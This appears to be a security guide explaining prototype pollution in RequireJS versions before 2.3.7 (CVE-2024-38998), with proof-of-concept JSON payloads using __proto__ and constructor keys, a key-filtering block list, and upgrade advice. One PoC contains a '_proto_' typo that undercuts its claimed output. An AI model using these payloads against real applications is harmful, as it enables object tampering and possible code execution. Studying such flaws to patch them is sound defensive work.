Prototype pollution is a critical security vulnerability that poses significant risks to JavaScript applications. By exploiting this issue, attackers can manipulate the prototype chain of objects, potentially leading to unauthorized access, data leaks, or even complete system compromise. In this guide, we’ll explore how prototype pollution occurs in RequireJS, provide examples of exploit scenarios, and outline three essential steps to harden your application against this vulnerability.
1- Understanding How Prototype Pollution is Triggered
Prototype pollution in RequireJS versions below 2.3.7 can be exploited through the injection of malicious payloads into keys like __proto__, constructor, and prototype. Consider the following example:
(async () => {
const lib = await import('requirejs');
var victim = {};
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
lib.config(JSON.parse('{"__proto__":{"test":123}}'));
lib.s.contexts._.configure(JSON.parse('{"__proto__":{"test":123}}'));
lib.parse('{"__proto__":{"test":123}}');
} catch (e) {}
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted; // Cleanup after testing
})();Let’s look at one more poc example to understand the attack surface and take precautions:
var requirejs = require("requirejs");
BAD_JSON = JSON.parse('{"_proto_":{"test":123}}');
BAD_JSON2 = JSON.parse('{"constructor": {"prototype": {"test": 123}}}');
console.log("Before: " + {}.test);
requirejs.config(BAD_JSON);
//requirejs.config(BAD_JSON2)
console.log("After: " + {}.test); // return: 1232- Key Precautions to Harden Your Application
To mitigate the risk of prototype pollution, implement these best practices:
- Filter Unsafe Keys:
Validate and sanitize input to block keys such as __proto__, constructor, and prototype that could be used in attacks.
function safeMerge(target, source) {
for (let key in source) {
if (source.hasOwnProperty(key) && !isPrototypePolluted(key)) {
target[key] = source[key];
}
}
}
function isPrototypePolluted(key) {
const pollutedKeys = ['__proto__', 'constructor', 'prototype'];
return pollutedKeys.includes(key);
}- Upgrade RequireJS to a Secure Version:
Ensure your application is using RequireJS version 2.3.7 or later, where this vulnerability is patched. Regularly update dependencies to address newly discovered vulnerabilities.
3- Adopt Objects Without Prototypes
As an additional layer of security, use objects without prototypes. This approach inherently prevents prototype pollution by eliminating the prototype chain.
const safeObject = Object.create(null);By using prototype-free objects, you remove the possibility of attackers injecting properties into the prototype chain, ensuring safer handling of data.
What is RequireJS ?
RequireJS is a module loader for managing and loading JavaScript modules. It makes code modular and manageable, especially in complex and large-scale applications. Using the AMD (Asynchronous Module Definition) standard, it allows modules to be loaded asynchronously, which increases performance and improves code organization.
Key Features:
- Modular Code Structure: Decomposes your code into independent modules, increasing reusability and maintainability.
- Asynchronous Loading: Modules are loaded when they are needed, which improves page load times.
- Dependency Management: Automatically resolves dependencies between modules, making the developer’s job easier.
- Optimization Tools: With RequireJS optimizer (r.js) you can improve performance by combining and compressing your code.
- Browser and Server Support: It can be used both client-side (browsers) and server-side (Node.js).
Vulnerabilities in RequireJS
- There is only one vulnerability in RequireJs, CVE-2024-38998.For detailed information about the vulnerability:
https://security.snyk.io/vuln/SNYK-JS-REQUIREJS-7417994

- Although CVE-2024-38998 is the only officially registered CVE for RequireJS, there are two other related vulnerabilities that remain unregistered but are linked to the same issue. These vulnerabilities involve prototype pollution, a critical security flaw that can lead to:
- Remote Code Execution (RCE): Allowing attackers to execute arbitrary code within the application’s context.
- Denial of Service (DoS): Disrupting application functionality by exploiting the vulnerability.
- Affected Versions:
- All versions of RequireJS prior to 2.3.7 are vulnerable to prototype pollution. To mitigate these risks, it is highly recommended to upgrade to version 2.3.7 or later.
